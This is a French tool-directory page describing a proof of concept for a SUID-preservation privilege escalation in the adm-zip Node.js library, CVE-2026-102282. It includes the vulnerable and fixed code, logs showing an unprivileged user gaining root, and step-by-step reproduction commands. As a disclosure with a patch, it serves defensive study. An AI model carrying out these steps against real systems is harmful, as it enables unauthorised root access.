Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
adm-zip_LPE-PoC — CVE-2026-102282 : Élévation de privilèges locale via la préservation des bits SUID/SGID lors de l'extraction d'archives | Kitploit
Outils/GitHubGitHub/x86byte/adm-zip_lpe-poc
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebVirtualisation de SécuritéSécurité de la Chaîne LogistiqueDéveloppement de Charges Utiles
GitHubx86byte/adm-zip_lpe-poc

adm-zip_LPE-PoC

CVE-2026-102282 : Élévation de privilèges locale via la préservation des bits SUID/SGID lors de l'extraction d'archives

Voir le dépôt
10il y a 3 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

CVE-2026-102282 : Élévation de privilèges locale dans adm-zip via la préservation du bit SUID

CVE GHSA CVSS

Description

adm-zip est une bibliothèque d'archives ZIP pure JavaScript établie pour Node.js, avec plus de 20 millions de téléchargements hebdomadaires dans l'écosystème npm. Elle est largement intégrée dans les pipelines CI/CD, les workflows de construction de conteneurs, les outils de déploiement cloud et les applications côté serveur pour gérer la compression et l'extraction d'archives.

Lors de l'extraction, adm-zip prend en charge une option de configuration keepOriginalPermission destinée à restaurer les permissions POSIX enregistrées dans l'archive. Cependant, la bibliothèque ne filtrait pas les bits de mode de fichier Unix spéciaux porteurs de privilèges : SUID (S_ISUID, 0o4000), SGID (S_ISGID, 0o2000) et le sticky bit (S_ISVTX, 0o1000).

Lorsqu'une application extrait une archive ZIP non fiable avec keepOriginalPermission = true tout en s'exécutant avec des privilèges élevés (comme un runner CI au niveau root, un entrypoint de conteneur Docker ou un démon de tâche backend), adm-zip applique les bits SUID/SGID spécifiés par l'attaquant sur le disque via fs.chmodSync(). Cela crée un exécutable SUID appartenant à root sur le système de fichiers hôte, permettant à un utilisateur local non privilégié d'exécuter le binaire et d'obtenir immédiatement les privilèges root.

Versions affectées

  • Vulnérables : adm-zip >= 0.5.10, <= 0.6.0
  • Corrigées : adm-zip >= 0.6.1

La faille

Dans la spécification du format ZIP PKWARE, les permissions de fichier Unix sont stockées dans le champ 32 bits external file attributes de l'en-tête du répertoire central (octets 38-41). Sur les archives compatibles Unix, les 16 bits supérieurs encodent le type de fichier et le mode de permission POSIX sur 12 bits (0o7777).

Dans les versions <= 0.6.0, headers/entryHeader.js utilisait un masque de bits de 12 bits (0xfff) :

// headers/entryHeader.js
get fileAttr() {
    return (_attr || 0) >> 16 & 0xfff;
}

Le masque de bits 0xfff (binaire 1111 1111 1111) extrait l'intégralité des 12 bits inférieurs, préservant non seulement les permissions standard de lecture/écriture/exécution (0o777), mais aussi les bits de permission spéciaux 0o4000 (SUID), 0o2000 (SGID) et 0o1000 (Sticky).

Correctif

Dans la version 0.6.1, le masque a été limité à 0o777 (511 en décimal), supprimant tous les bits de privilège spéciaux :

  get fileAttr() {
-     return (_attr || 0) >> 16 & 0xfff;
+     return (_attr || 0) >> 16 & 0o777;
  }

Le déclencheur

Le problème se déclenche lorsque keepOriginalPermission est activé lors de l'extraction :

// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeToFile(entryName, content, overwrite, fileAttr);

Dans util/utils.js, l'attribut extrait était transmis directement au système de fichiers sans validation :

// util/utils.js
self.fs.chmodSync(path, attr || 0o666);

Lorsque le processus d'extraction s'exécute en tant que root (euid 0) sur un système de fichiers monté sans nosuid, fs.chmodSync() définit les permissions du fichier extrait sur le mode 0o4755 (-rwsr-xr-x) appartenant à root:root.

Journaux d'exécution

Version vulnérable ([email protected])

Création de l'archive et extraction privilégiée :

$ g++ -O2 Verify.cpp -o Verify
$ node BuildZip.js Verify exploit.zip tools/helper
Generated: exploit.zip -> tools/helper (mode 0o104755)

$ sudo node Extract.js exploit.zip /var/local/poc_out
Extracted exploit.zip into /var/local/poc_out

$ stat -c "%a %A %U:%G" /var/local/poc_out/tools/helper
4755 -rwsr-xr-x root:root

Exécution par un utilisateur local non privilégié (uid=1000) :

$ id
uid=1000(user) gid=1000(user) groups=1000(user)

$ /var/local/poc_out/tools/helper
[*] Real UID: 1000, Effective UID: 0
[+] SUID preserved. Escalating to root.
# id
uid=0(root) gid=0(root) groups=0(root)

Version corrigée ([email protected])

$ sudo node Extract.js exploit.zip /var/local/poc_out_patched
Extracted exploit.zip into /var/local/poc_out_patched

$ stat -c "%a %A %U:%G" /var/local/poc_out_patched/tools/helper
755 -rwxr-xr-x root:root

$ /var/local/poc_out_patched/tools/helper
[*] Real UID: 1000, Effective UID: 1000
[-] Normal execution context (unprivileged).

Impact

Lorsque des fichiers ZIP non fiables sont traités avec des privilèges élevés — comme les agents de build automatisés, les environnements d'hébergement partagé, les routines d'initialisation de conteneurs serverless et les frameworks d'installation de plugins — un utilisateur non privilégié peut fournir une archive conçue pour implanter un binaire SUID arbitraire appartenant à root, conduisant à une élévation de privilèges locale (LPE) et à l'exécution de code arbitraire en tant que root.

Comment exécuter

  1. Compiler le binaire de vérification et empaqueter l'archive conçue :
git clone https://github.com/x86byte/adm-zip_LPE-PoC.git
cd adm-zip_LPE-PoC/adm-zip_lpe
g++ -O2 Verify.cpp -o Verify
node BuildZip.js Verify exploit.zip tools/helper
  1. Extraire en tant que root avec une version vulnérable d'adm-zip :
npm install [email protected]
sudo node Extract.js exploit.zip /var/tmp/poc_out
  1. Confirmer le bit SUID sur le disque :
stat -c "%a %A %U:%G" /var/tmp/poc_out/tools/helper
# Output: 4755 -rwsr-xr-x root:root
  1. Exécuter en tant qu'utilisateur non privilégié :
/var/tmp/poc_out/tools/helper

Remarque : le répertoire d'extraction cible doit résider sur un système de fichiers monté sans nosuid.

Fiche d'avis de sécurité

  • ID CVE : CVE-2026-102282
  • Avis GitHub : GHSA-679w-jf3m-wh39
  • Entrée NVD : NVD Detail
  • Sévérité : Élevée (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Score de base 7.1)
  • Faiblesse (CWE) : CWE-732 (Attribution incorrecte de permissions pour une ressource critique)
  • Statut de publication : Divulgation coordonnée, corrigée dans la version amont 0.6.1
Télécharger l’outil